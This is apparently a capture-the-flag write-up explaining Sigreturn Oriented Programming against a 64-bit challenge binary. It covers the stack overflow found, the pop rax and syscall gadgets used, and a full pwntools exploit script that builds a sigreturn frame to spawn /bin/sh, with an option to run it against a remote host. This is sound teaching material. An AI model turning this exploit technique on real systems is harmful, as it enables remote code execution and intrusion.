> For the complete documentation index, see [llms.txt](https://roman1.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://roman1.gitbook.io/blog/stack-exploitation/srop.md).

# Sigreturn Oriented Programming

[Download the challenge binary here.](https://github.com/0xroman1/CTFCHALLS/raw/main/small_boi)

## Section One - Enumeration

Running the **file** command shows that the challenge is a 64-bit elf executable.

![64 Bit Executable](https://i.imgur.com/Objg3aG.png)

Using the radare2 suite to check the strings within the binary. It becomes apparent the string **"/bin/sh"** is present within the read only data section.

![/bin/sh in read only data section](https://i.imgur.com/AR4F2BT.png)

Checking the memory protections of the binary shows the only exploit mitigation in place is Data Execution Prevention.

![Data execution prevention enabled](https://i.imgur.com/dwwV0kp.png)

## Section Two - Reverse Engineering

#### The Vulnerability

The program is taking the address of `RBP-0x20` and then stores it within the RSI register. This means the allocated space for the buffer is 0x20 or *32 in decimal*.

1. The syscall number for SYS\_READ is stored in the RAX register.
2. The file descriptor is set to STDIN within the RDI register.
3. Defines the amount of bytes the SYS\_READ syscall will read.

**Due to the amount of bytes read being greater than the allocated space the application suffers from a Buffer Overflow vulnerability.**

![The Vulnerability](https://i.imgur.com/nETCq5L.png)

To confirm the vulnerability, the program was given 16 bytes more than allocated on the stack, causing the first 8 bytes to overwrite the stack frame's stored RBP whereas the last 8 bytes overwrite the stack frame's Return Address.

![Overwriting return address](https://i.imgur.com/WNYzpX6.png)

## Section Three - Exploitation

Before diving further in, there are a few restrictions this binary presents.

* Data Execution Prevention is enabled, thus we cannot return to something such as shellcode.&#x20;
* Neither is regular Return Oriented Programming a valid method of exploitation due to the lack of control over the RDI Register which is needed for the first argument of a syscall.

![Lack of ROP Gadgets](https://i.imgur.com/PNDj0Nz.png)

However, the binary does include a "POP RAX" gadget as well as the "syscall" instruction. To conclude the conditions met.

1. A very large overflow with no shortage of space.
2. Control over the RAX register which allows the specification of a syscall number.
3. Access to a syscall instruction.
4. The string "/bin/sh" is present within the binary.
5. Control over the Stack Frame's saved return address; this translates to control over the stack itself.

The combination of the conditions above allows implementation of **Sigreturn Oriented Programming**.

![Control Over EAX](https://i.imgur.com/Lxw0a1l.png)

![Syscall Instruction](https://i.imgur.com/8intqN5.png)

Before performing the sigreturn syscall, the following **Signal Frame** needs to be present on the stack.

![Signal Frame Layout](https://i.imgur.com/DdpKrY5.png)

## Section Four - Exploit Development

> **The first step of exploitation is to redirect the binary into performing a SYS\_SIGRETURN syscall, then to return into a curated signal frame which results in a shell.**
>
> In order accomplish this initial syscall, the following must take place:
>
> 1. Provide enough input to have the following bytes overwrite the return address which redirects code execution.
> 2. POP the currently stored value out of the EAX register to prepare for a value to be given.
> 3. Assign the Syscall number for SYS\_Sigreturn to EAX register.
> 4. Use the syscall instruction to perform the SYS\_Sigreturn Syscall.

```python
pwn = b"A" * 40         # padding to overwrite return addr
pwn += p64(0x40018a)    # pop rax
pwn += p64(0xf)         # assign sigreturn syscall number to rax
pwn += p64(0x400185)    # syscall instruction
```

> Using the pwntools library, generating a Sigreturn Frame resulting in a shell is relatively straightforward. To begin, specifying the Architecture is necessary. This can be accomplished with.

```python
frame = SigreturnFrame(kernel="amd64")
```

> Using the following code the registers can be assigned values to prepare the registers for an SYS\_EXECVE syscall.

```python
# Syscall Number
frame.rax = 0x3B        # Syscall Number for SYS_EXECVE

# All arguments for execve syscall
frame.rdi = 0x004001ca  # Pointer to "/bin/sh" string in .rodata
frame.rsi = 0           # Null Pointer
frame.rdx = 0           # Null Pointer

# Address of Syscall Instruction
frame.rip = 0x400185
```

> The previous code snippets combined result in the following completed exploit.&#x20;

```python
 #!/usr/bin/env python3
from pwn import *
import sys

#-------------------------------
#-+-+-+ Twitter @0xRoman1 +-+-+-
#-------------------------------

#==============================================================

#context.log_level = "debug"
elf = context.binary = ELF("small_boi")
libc = elf.libc
env = {}

gs = '''
continue
'''

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs, env=env)
    elif args.REMOTE:
        return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process(elf.path, env=env)


io = start()

#==============================================================

# Syscall number for Sigreturn = 0xf

pwn = b"A" * 40           # padding to overwrite return addr
pwn += p64(0x40018a)      # pop rax
pwn += p64(0xf)           # assign sigreturn syscall number to rax
pwn += p64(0x400185)      # syscall instruction

frame = SigreturnFrame(kernel="amd64")

# Syscall Number
frame.rax = 0x3B          # Syscall Number for SYS_EXECVE

# All arguments for execve syscall
frame.rdi = 0x004001ca    # Pointer to "/bin/sh" string in .rodata
frame.rsi = 0             # Null Pointer
frame.rdx = 0             # Null Pointer

# Address of Syscall Instruction
frame.rip = 0x400185

pwn += bytes(frame)

#==============================================================
# =-=-=- EXPLOITATION -=-=-=

io.sendline(pwn)
io.interactive()

#==============================================================
```

## Section Five - Profit

![](/files/-MTheguD7ufQPJVBHV4W)
